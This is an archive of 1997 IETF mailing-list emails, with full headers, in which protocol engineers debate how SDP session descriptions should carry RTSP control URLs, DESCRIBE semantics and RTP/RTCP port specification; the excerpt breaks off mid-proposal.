	id <AA11146>; Wed, 10 Sep 1997 07:12:30 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA20930
	for <confctrl@ISI.EDU>; Wed, 10 Sep 1997 07:12:29 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA27814; Wed, 10 Sep 1997 10:12:27 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA22283; Wed, 10 Sep 1997 10:12:22 -0400 (EDT)
Message-Id: <3416AAC1.7860B78C@cs.columbia.edu>
Date: Wed, 10 Sep 1997 10:12:17 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Stephen Casner <casner@precept.com>
Cc: confctrl@ISI.EDU
Subject: Re: SDP syntax with RTSP
References: <Pine.PCW.3.95.970909235055.6702A-100000@revelstoke.precept.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Stephen Casner wrote:
> 
> On Mon, 8 Sep 1997, Henning Schulzrinne wrote:
> > The base assumption always was that DESCRIBE is optional and that the
> > default mode is that you don't need it.
> 
> OK, so before you proposed a=rtsp:DESCRIBE, how was it that you would
> decide when to do a DESCRIBE?

Initially, DESCRIBE was just for per-stream initialization information,
so my assumption was that the client knew from the media type that it
needed additional information. If it got PT=0 (PCMU), it wouldn't
bother, if it got some proprietary format that needs external data to
get started, it would ask.

For multi-stream session descriptions that have only a global URL, the
client would also know from the lack of information on individual
streams that it needs to ask the server to DESCRIBE.


> 
>     Exactly.  The 'c' field is supposed to be for IP addresses and
>     putting URLs is overloading it and creates potential problems in
>     other cases (SIP as an example).
> 
>     My model is to use an 'a' field if necessary for RTSP URLs, etc.
> 
> This is in fact a better argument than the ones I mentioned.  And if
> we use an 'a' field, then we can be consistent here between the
> aggregate URL and the per-media URLs.
> 
I thought Mark had suggested the c= version; earlier informal discussion
centered around either a new letter (something I proposed a while back)
or an a= attribute. I'd like to hear Mark's side of the story...

Another argument: Is there a scenario where both RTSP URL and media
information is needed? I think a case can be made for that, e.g., for
multicast, where we could have passive clients (without RTSP capability
even), just taking c= information as is, and 'remote control' clients
that have the ability to interact with the stream via RTSP, suitably
coordinated, naturally.
 
Given the case for needing both pieces of information on occasion,
overloading c= does seem a bad idea.

Henning

From majordom@ISI.EDU  Wed Sep 10 03:01:13 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA20743>; Wed, 10 Sep 1997 10:03:14 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA20737>; Wed, 10 Sep 1997 10:03:13 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA03422
	for <confctrl@ISI.EDU>; Wed, 10 Sep 1997 10:03:13 -0700 (PDT)
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id KAA12874;
	Wed, 10 Sep 1997 10:01:48 -0700 (PDT)
Date: Wed, 10 Sep 1997 10:01:13 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: confctrl@ISI.EDU
Subject: Re: SDP syntax with RTSP
In-Reply-To: <3416AAC1.7860B78C@cs.columbia.edu>
Message-Id: <Pine.WNT.3.95.970910095141.-360625A-100000@oak.precept.com>
X-X-Sender: casner@big-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Henning,

> Initially, DESCRIBE was just for per-stream initialization information,
> so my assumption was that the client knew from the media type that it
> needed additional information. If it got PT=0 (PCMU), it wouldn't
> bother, if it got some proprietary format that needs external data to
> get started, it would ask.
> 
> For multi-stream session descriptions that have only a global URL, the
> client would also know from the lack of information on individual
> streams that it needs to ask the server to DESCRIBE.

Right.  So I think a=rtsp:DESCRIBE is not needed.

> I thought Mark had suggested the c= version; earlier informal discussion
> centered around either a new letter (something I proposed a while back)
> or an a= attribute. I'd like to hear Mark's side of the story...

Yes, I heard that the c=IN URL idea came from Mark.  It could be that
he was passing a brainstone on that one (an expression I heard for the
first time recently :)

I, too, would like to hear more from Mark on this.

> Another argument: Is there a scenario where both RTSP URL and media
> information is needed? I think a case can be made for that, e.g., for
> multicast, where we could have passive clients (without RTSP capability
> even), just taking c= information as is, and 'remote control' clients
> that have the ability to interact with the stream via RTSP, suitably
> coordinated, naturally.
>  
> Given the case for needing both pieces of information on occasion,
> overloading c= does seem a bad idea.

Agreed.  I think perhaps the main reason this was suggested is that in
the typical unicast RTSP case, the address information on the c= line
is not useful (except perhaps for the count of addresses for layered
coding, as I pointed out).  So, we might want a more compact version
of the c= when no address is supplied.
							-- Steve


From majordom@ISI.EDU  Wed Sep 10 03:57:21 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24657>; Wed, 10 Sep 1997 10:59:25 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24651>; Wed, 10 Sep 1997 10:59:24 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com [204.162.36.254])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA08259
	for <confctrl@ISI.EDU>; Wed, 10 Sep 1997 10:59:23 -0700 (PDT)
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id KAA29567; Wed, 10 Sep 1997 10:58:40 -0700 (PDT)
Message-Id: <199709101758.KAA29567@mailhost.nttlabs.com>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: Stephen Casner <casner@precept.com>, confctrl@ISI.EDU
Subject: Re: SDP syntax with RTSP 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Wed, 10 Sep 1997 10:12:17 EDT"
References: <Pine.PCW.3.95.970909235055.6702A-100000@revelstoke.precept.com>  <3416AAC1.7860B78C@cs.columbia.edu> 
Date: Wed, 10 Sep 1997 10:57:21 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

|I thought Mark had suggested the c= version; earlier informal discussion
|centered around either a new letter (something I proposed a while back)
|or an a= attribute. I'd like to hear Mark's side of the story...

Likewise.

|
|Another argument: Is there a scenario where both RTSP URL and media
|information is needed? I think a case can be made for that, e.g., for
|multicast, where we could have passive clients (without RTSP capability
|even), just taking c= information as is, and 'remote control' clients
|that have the ability to interact with the stream via RTSP, suitably
|coordinated, naturally.

This is exactly the case I'm designing for... playing back into a
session with one (or more) controllers and one (or more) "passive"
listeners (who do not speak RTSP, nor need to).

| 
|Given the case for needing both pieces of information on occasion,
|overloading c= does seem a bad idea.
|
|Henning
|

js


From majordom@ISI.EDU  Wed Sep 10 04:43:11 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27520>; Wed, 10 Sep 1997 11:44:21 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27514>; Wed, 10 Sep 1997 11:44:19 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA10655
	for <confctrl@ISI.EDU>; Wed, 10 Sep 1997 11:44:19 -0700 (PDT)
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id LAA13519;
	Wed, 10 Sep 1997 11:43:46 -0700 (PDT)
Date: Wed, 10 Sep 1997 11:43:11 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU, Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Subject: Re: Open Issues for draft04
In-Reply-To: <3.0.3.32.19970908093202.012a9758@mail.prognet.com>
Message-Id: <Pine.WNT.3.95.970910113251.-360625C-100000@oak.precept.com>
X-X-Sender: casner@big-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>       1. Review Changes of the Draft 
>          a. Transport-Info field 
> 
> Open.  To be closed by Wednesday.
> 
> RL: Needs to occur in the PLAY response field.  This is the only way in
> which we can be assured that the client can know whether the initial packet
> was lost.  The PAUSE response doesn't buy us that.

I agree with Henning that also putting it in PAUSE makes sense.  I
also understand the motivation to make these optional because
optaining the information might be quite difficult in a layered
implementation.  What is a viewer that normally depends on getting the
sequence number going to do when it doesn't get it?

>          f. Sequence number moved to the header fields 
> 
> Open.  Henning and Philipp feel pretty strongly that this should be moved.
> Folks at PN aren't all too thrilled with the prospect of this.  Let's flip
> a coin and be done with this one :)  

Folks here vote to move the sequence number to the header field.

>          g. Port number spec 
> 
> Closed, with caveat.  
> 
> RL: Henning's recent proposal looks fine for the most part.  I would like
> to add the ability to explicitly give a two-port range rather than assume
> that because one port is reserved, that port+1 is reserved (in other words,
> don't break the current RTP/RTCP assumptions, but don't assume).

Like Henning, I would be much happier not changing the RTP/RTCP
assumption if we can.  Currently, the RTP port is the one always
specified.  If this has to change, then of the various proposals I've
seen I think I'd prefer Rob's 3000-3001 version over specifying just
the RTCP (rather than RTP) port number.
							-- Steve


From majordom@ISI.EDU  Wed Sep 10 13:39:30 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09001>; Wed, 10 Sep 1997 14:43:07 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA08970>; Wed, 10 Sep 1997 14:42:55 -0700
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA19588
	for <confctrl@ISI.EDU>; Wed, 10 Sep 1997 14:42:51 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id RAA22913; Wed, 10 Sep 1997 17:39:30 -0400
From: Mark Handley <mjh@east.isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Stephen Casner <casner@precept.com>
Cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: SDP syntax with RTSP 
In-Reply-To: Your message of "Wed, 10 Sep 1997 10:01:13 PDT."
             <Pine.WNT.3.95.970910095141.-360625A-100000@oak.precept.com> 
Date: Wed, 10 Sep 1997 17:39:30 -0400
Message-Id: <22911.873927570@north.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Right.  So I think a=rtsp:DESCRIBE is not needed.
>
>> I thought Mark had suggested the c= version; earlier informal discussion
>> centered around either a new letter (something I proposed a while back)
>> or an a= attribute. I'd like to hear Mark's side of the story...
>
>Yes, I heard that the c=IN URL idea came from Mark.  It could be that
>he was passing a brainstone on that one (an expression I heard for the
>first time recently :)

I lost a couple of weeks of mail recently, so have lost touch with the
whole RTSP discussion.  The c=IN URL idea was mine, suggested at 2am
the night before the MMUSIC meeting.  The alternative Rob was
suggesting was to have a null c= line and an attribute to give the
URL.  The null c= field was a pretty good indication that SDP was
being used badly.

The "c=IN URL..." syntax is definitely cleaner in the context Rob
described it to me.  The "c=" line gives the connection destination,
and a URL basically gives a request destination, so the usage didn't
seem too far out from the intention of the SDP field.  

But I haven't followed the DESCRIBE discussion at all, so I don't know
what the issues are.  The use of "c=IN URL" didn't seem like a great
idea, but didn't seem terrible either at the time.  Can someone
summarise for me why this might be a bad idea?

Mark

From majordom@ISI.EDU  Wed Sep 10 08:00:19 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA10057>; Wed, 10 Sep 1997 15:02:54 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA10051>; Wed, 10 Sep 1997 15:02:52 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com [204.162.36.254])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA20438
	for <confctrl@ISI.EDU>; Wed, 10 Sep 1997 15:02:51 -0700 (PDT)
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id PAA00769; Wed, 10 Sep 1997 15:02:19 -0700 (PDT)
Message-Id: <199709102202.PAA00769@mailhost.nttlabs.com>
To: Stephen Casner <casner@precept.com>
Cc: Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Subject: Re: Open Issues for draft04 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Wed, 10 Sep 1997 11:43:11 PDT"
References: <Pine.WNT.3.95.970910113251.-360625C-100000@oak.precept.com> 
Date: Wed, 10 Sep 1997 15:00:19 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

|
|>          f. Sequence number moved to the header fields 
|> 
|> Open.  Henning and Philipp feel pretty strongly that this should be moved.
|> Folks at PN aren't all too thrilled with the prospect of this.  Let's flip
|> a coin and be done with this one :)  
|
|Folks here vote to move the sequence number to the header field.

NTT folks also vote for moving to header field to reuse (HTTP) Java
class libraries as much as possible.

js

From majordom@ISI.EDU  Wed Sep 10 08:37:19 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11552>; Wed, 10 Sep 1997 15:38:30 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11546>; Wed, 10 Sep 1997 15:38:29 -0700
Received: from snapbag.com (zappo.prognet.com [204.71.154.163])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA22115
	for <confctrl@ISI.EDU>; Wed, 10 Sep 1997 15:38:28 -0700 (PDT)
Received: from crappo [205.219.198.222] by snapbag.com [204.71.154.163] with SMTP (MDaemon.v2.5.rB.b1.32-T) for <confctrl@ISI.EDU>; Wed, 10 Sep 97 15:30:50 -0700
Message-Id: <3417211F.5C01A471@prognet.com>
Date: Wed, 10 Sep 1997 15:37:19 -0700
From: Brad Hefta-Gaub <brad@prognet.com>
Organization: Progressive Networks
X-Mailer: Mozilla 4.01 [en] (WinNT; I)
Mime-Version: 1.0
To: Stephen Casner <casner@precept.com>
Cc: Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Subject: Re: Open Issues for draft04
X-Priority: 3 (Normal)
References: <Pine.WNT.3.95.970910113251.-360625C-100000@oak.precept.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mdmail-Server: MDaemon v2.5 rB b1 32-T
X-Mdaemon-Deliver-To: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Stephen Casner wrote:

> >          g. Port number spec
> >
> > Closed, with caveat.
> >
> > RL: Henning's recent proposal looks fine for the most part.  I
> > would like to add the ability to explicitly give a two-port range
> > rather than assume that because one port is reserved, that port+1
> > is reserved (in other words, don't break the current RTP/RTCP
> > assumptions, but don't assume).
>
> Like Henning, I would be much happier not changing the RTP/RTCP
> assumption if we can.  Currently, the RTP port is the one always
> specified.  If this has to change, then of the various proposals I've
> seen I think I'd prefer Rob's 3000-3001 version over specifying just
> the RTCP (rather than RTP) port number.

Just to clarify.

The concern that we at PN have is that although we want RTSP
implementations to use RTP as the standard transport, we don't want all
RTSP implementors to have to know all of the nuances of RTP, if their
component does not require knowledge of RTP. For example, if I am
implementing an intermediate device that is "generically" proxying all
RTSP streams, then currently I would have to code in explicit knowledge
of the RTP protocol. I would have to watch for the explicit transport
type of RTP, and always know to proxy the "assumed" RTCP ports.

We are not suggesting that implementations should send RTCP data on
ports other than port+1, we just want the ports to be explicitly stated
so as to ease implementations of intermediate devices, and to allow RTSP
compliant intermediate devices to work with new or different transports
(those other than RTP).

-Brad




From majordom@ISI.EDU  Wed Sep 10 08:51:39 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12144>; Wed, 10 Sep 1997 15:52:47 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12138>; Wed, 10 Sep 1997 15:52:45 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA22777
	for <confctrl@ISI.EDU>; Wed, 10 Sep 1997 15:52:45 -0700 (PDT)
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id PAA14527;
	Wed, 10 Sep 1997 15:52:13 -0700 (PDT)
Date: Wed, 10 Sep 1997 15:51:39 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Brad Hefta-Gaub <brad@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: Open Issues for draft04
In-Reply-To: <3417211F.5C01A471@prognet.com>
Message-Id: <Pine.WNT.3.95.970910154120.-360625K-100000@oak.precept.com>
X-X-Sender: casner@big-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Brad,

> The concern that we at PN have is that although we want RTSP
> implementations to use RTP as the standard transport, we don't want all
> RTSP implementors to have to know all of the nuances of RTP, if their
> component does not require knowledge of RTP. For example, if I am
> implementing an intermediate device that is "generically" proxying all
> RTSP streams, then currently I would have to code in explicit knowledge
> of the RTP protocol. I would have to watch for the explicit transport
> type of RTP, and always know to proxy the "assumed" RTCP ports.

That makes sense.  However, the information in the Transport header is
transport-protocol dependent.  If a new transport protocol is added,
some new knowledge about that protocol (at least the parameters it
requires) will likely need to be added to the RTSP module.

							-- Steve


From majordom@ISI.EDU  Wed Sep 10 09:22:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA14980>; Wed, 10 Sep 1997 16:24:26 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA14972>; Wed, 10 Sep 1997 16:24:25 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA24032
	for <confctrl@ISI.EDU>; Wed, 10 Sep 1997 16:24:24 -0700 (PDT)
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id QAA14655;
	Wed, 10 Sep 1997 16:23:21 -0700 (PDT)
Date: Wed, 10 Sep 1997 16:22:44 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Mark Handley <mjh@east.isi.edu>
Cc: confctrl@ISI.EDU
Subject: Re: SDP syntax with RTSP 
In-Reply-To: <22911.873927570@north.lcs.mit.edu>
Message-Id: <Pine.WNT.3.95.970910162218.-360625M-100000@oak.precept.com>
X-X-Sender: casner@big-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Mark,

> The c=IN URL idea was mine, suggested at 2am
> the night before the MMUSIC meeting.  The alternative Rob was
> suggesting was to have a null c= line and an attribute to give the
> URL.

This is what I am suggesting again.

> The null c= field was a pretty good indication that SDP was
> being used badly.

Well, I agree there is a rough fit between SDP and RTSP that centers
on this notion of separation of media description and transport
information.  Because SDP carries both and RTSP wants them separated,
we have the friction between DESCRIBE and SETUP that has been
mentioned several times.  The description of the Transport header
field says that the presentation description may provide all the
necessary information so the SETUP doesn't need to carry the Transport
header.  Conversely, Henning has mentioned that he wants to not
require a DESCRIBE at all in cases where some session description was
provided by another means (e.g., SDP returned via HTTP) in which case
only the SETUP is done and the addressing comes from the Transport
header.

> The "c=IN URL..." syntax is definitely cleaner in the context Rob
> described it to me.  The "c=" line gives the connection destination,
> and a URL basically gives a request destination, so the usage didn't
> seem too far out from the intention of the SDP field.
> 
> But I haven't followed the DESCRIBE discussion at all, so I don't know
> what the issues are.  The use of "c=IN URL" didn't seem like a great
> idea, but didn't seem terrible either at the time.  Can someone
> summarise for me why this might be a bad idea?

The URL is the destination of the RTSP connection, but it is not the
destination of the media being described by the remainder of the SDP
session description.  The URL is more the source of the media, so that
was the first thing that bothered me.  This doesn't mean the idea is
terrible, but it also means the idea might not be right.

My second issue is whether other information on the c= line might
still be needed.  My example was that for layered encodings, the "/n"
suffix gives the number of layers.  Perhaps that information would go
to the Transport header, though I don't think it has been considered
yet.

Jeff Smith made a stronger point that there may be cases where you
want to include an RTSP URL in a session description that needs to
also specify a destination address.  Jeff said:

    My biggest problem with this (as I said in Munich) is the concern for
    how you use the resulting SDP for an invitation (SIP).

    Something has to keep the mapping of c=URL_stuff and
    c=ip_address_stuff so that you can invite other entities.

    This would of course be easier if SDP seperated media from transport,
    but that's a done deal for now... we work with what we have.

Similarly, in the remainder of Henning's message from which you were
quoting mentions another scenario where you would need both an address
and a URL in an SDP file (though maybe not in a DESCRIBE response):

    I think a case can be made for that, e.g., for multicast, where we
    could have passive clients (without RTSP capability even), just
    taking c= information as is, and 'remote control' clients that
    have the ability to interact with the stream via RTSP, suitably
    coordinated, naturally.

If we need to have both pieces of information in some uses of SDP,
then I think we want the URL information to be provided by a means
other than c= so that the URL is provided in the same way in all uses
of SDP.
							-- Steve


From majordom@ISI.EDU  Wed Sep 10 11:06:29 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA20634>; Wed, 10 Sep 1997 18:07:02 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA20628>; Wed, 10 Sep 1997 18:07:01 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA28528
	for <confctrl@isi.edu>; Wed, 10 Sep 1997 18:07:00 -0700 (PDT)
Received: from robla.dev.prognet.com (mg131-179.ricochet.net) by murrow.prognet.com with SMTP id AA01306
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Wed, 10 Sep 1997 18:06:56 -0700
Message-Id: <3.0.3.32.19970910180629.00c06018@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Wed, 10 Sep 1997 18:06:29 -0700
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: "c=IN URL" at media level
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Let's back up and look at what it is that people are objecting to:

*  "c=IN URL" in the session level to signal aggregate streaming
*  "c=IN URL" in the media level to give the URL for a specific stream

The former is what I think there was the most objection to.  However, there
seems to also be an objection to the latter now, and I want to address this.

I would agree with Mark (the way I read his mail) that the former is an
overloading, and I regret suggesting it.  The latter is something that Mark
(with some hesitation) suggested to me at Munich and I latched on to.

The reason why is that the "c=" line *really* says "here's a rendezvous
point for getting this stream" (regardless of whether you call it a source
or a destination).  In the case of "c=IN IP4 <multicast address>/<params>",
this means that the rendezvous point is a multicast address that the sender
is streaming to.  This could potentially be rewritten (if you're a glutton
for punishment) as "c=IN URL multicast://224.2.0.1/ttl=127/addresses=3".

I don't want this to erupt into an argument over the virtues/errors in
having an multicast url syntax, but my point is that "c=" really does make
sense to put the URL in.  Furthermore, not using "c=" for URLs begs the
question: "if you don't put the URL in c=, what *do* you put there".

For folks who suggest that it is possible to have a useful situation where
a node can act as an RTSP client and pass through the SDP untouched to a
non-RTSP entity, please spell out that situation so that I can understand
it (preferably with examples), 'cause I'm just not getting it.

Rob
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Wed Sep 10 13:22:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27298>; Wed, 10 Sep 1997 20:23:06 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27290>; Wed, 10 Sep 1997 20:23:04 -0700
Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA03642
	for <confctrl@ISI.EDU>; Wed, 10 Sep 1997 20:23:03 -0700 (PDT)
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
	by netscape.com (8.8.5/8.8.5) with ESMTP id UAA05221
	for <confctrl@ISI.EDU>; Wed, 10 Sep 1997 20:22:32 -0700 (PDT)
Received: from electron ([204.29.186.92]) by dredd.mcom.com
          (Netscape Messaging Server 3.0)  with ESMTP id AAA13609;
          Wed, 10 Sep 1997 20:22:32 -0700
Message-Id: <341763F8.E4F15A@netscape.com>
Date: Wed, 10 Sep 1997 20:22:32 -0700
From: anup@netscape.com (Anup Rao)
Organization: Netscape Communications Corporation
X-Mailer: Mozilla 4.01 [en] (WinNT; U)
Mime-Version: 1.0
To: mmusicwg <confctrl@ISI.EDU>
Cc: Rob Lanphier <robla@prognet.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        Stephen Casner <casner@precept.com>
Subject: Indirection, aggregation in SDP/RTSP - reaching closure
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This is an attempt to reach closure on this issue. It takes into account
the considerable discussion that has been there on this, and
conversation between the authors. I've also tried to reference and/or
answer specific points made on confctrl.

The words Stream/Presentation are as defined by RTSP, the terms
media-level and session-level are as defined by SDP.

Something up front : I've not used "c=IN URL"  since that is under
debate, but a a= attribute to specify this. This may change, but
hopefully we can iron out the indirection and aggregation issues
independantly.

Introduction :

Within an SDP description, we want to convey:-
a) That RTSP control is to be applied.
b)streams comprising the presentation and possibly media  initialization
info for each of them
c)URL(s) to be used for each stream.
d)Aggregate URL if aggregate control is possible
e)Whether to use one RTSP session or not.(ie 1-1-n vs 1-n-n)

One thing I would like to add to this list :
-Have a session-level attribute that would specify that this is a
description for a RTSP presentation. We refer to such a description as a
RTSP-SDP description. Without exception, this specifies a RTSP
presentation. This would help us differentiate it from the case where
RTSP urls were present in SDP files in some other situation, for eg.
when only one of many media within a session used RTSP control.(Such a
session is not the subject of this message and should be discussed
seperately).

We also additionally approach the problem from a slightly different
angle, ie. "what to do once you have the description regardless of where
you got it from". This adds the requirement:
-Provide an algorithm that the client can deal with once it has the SDP
file.

Details:

An RTSP-SDP session description must have the session-level attribute
a=RTSP-Presentation.

We further  classify a RTSP-SDP description as describing a
presentation  that may be of two types(ones  allowing aggregate
control,  ones that do not).  Individual streams comprising such a
presentation may come from same or different files or the same or
different servers.  However, such a condition(streams coming from
different servers)  may be recognized, and the client may refuse to
render the presentation if it sees fit.

This classification is made for the purposes of specifying an
appropriate syntax in tune with SDP semantics, and a few simple steps
that a client implementation may use to proceed when it has such a
description.  There is no restriction as to which of the two types may
be received via RTSP-DESCRIBE, HTTP, inter-office mail, whatever. Also,
the classification would appear to be  appropriate - all RTSP really
cares about is applicability of aggregate control(that implies 1-1-n),
so basing client side processing on this rather than the source of the
SDP description would provide some advantage.

Regardless of  this classification, there is a m= field for each stream
within the presentation, and (possibly) appropriate rtpmap, fmtp fields
for each stream to describe the media.

This stuff is mostly a collection of proposals put forth various people
:

A) If aggregate control is possible, then a session level
a=presentation-url: rtsp:// will exist. In addition, for each stream,  a
media-level attribute will exist. This attribute will  define how a URL
to control the stream will be constructed treating the session-level
presentation-url  field as a base URL.(This attribute is an opaque
identifier). This does not preclude aggregate control for a presentation
composed of streams coming from multiple servers.  The server specified
in the aggregate URL is required to bear the burden of coordination.
However, such a servers namespace may be designed to coordinate
aggregate control of such a presentation without having the client being
knowledgable about it. The single stream case is expressed within this
scenario by the presence of only one media stream.

Example :
a=presentation-url :  rtsp://foo/twister
m=audio 0 RTP/AVP 0
a=stream:englishaudio
m=video 0 RTP/AVP 26
a=stream:coolvideo

i) The aggregate URL is rtsp://foo/twister

ii) The two URLs used to SETUP the two streams are
rtsp://foo/twister/englishaudio and rtsp://foo/coolvideo ie. the URLs
are formed simply by concatenating the stream attribute to the base URL
specified in a=presentation-url :

iii) All the above requests are sent to foo, period. Standard URL
semantics are not broken.

iv) Note that the stream attribute is opaque. Values such as
audio.com/englishaudio and appropriate design of the name space of  the
server "foo"  may be used to achieve aggregate control of streams coming
from different servers(ie. audio.com and something else). However, this
burden rests on foo.

vi) If there is just one stream, the a=streamid attribute is omitted.

vii) In this case, only one RTSP session must be used.


B) If aggregate control is not possible, a media-level a=stream-url:
field with an absolute URL will exist for each stream. The semantics of
the URL within this  field are unambiguous. The request for the URI goes
to the server specified in the URL.

Example:

m=audio 0 RTP/AVP 0
a=stream-url: rtsp://foo/twister/audio
m=video 0 RTP/AVP 26
a=stream-url: rtsp://bar/twister/video

i) In this case, n RTSP sessions must be used.
ii) This does not preclude both the URLs referencing the same RTSP
server(1-n-n case is hence expressed)


How the client should proceed :

It should proceed as follows, irrespective of whether the description
came in a DESCRIBE response or  not.

-Check whether a session-level a=presentation-url field exists. If yes,
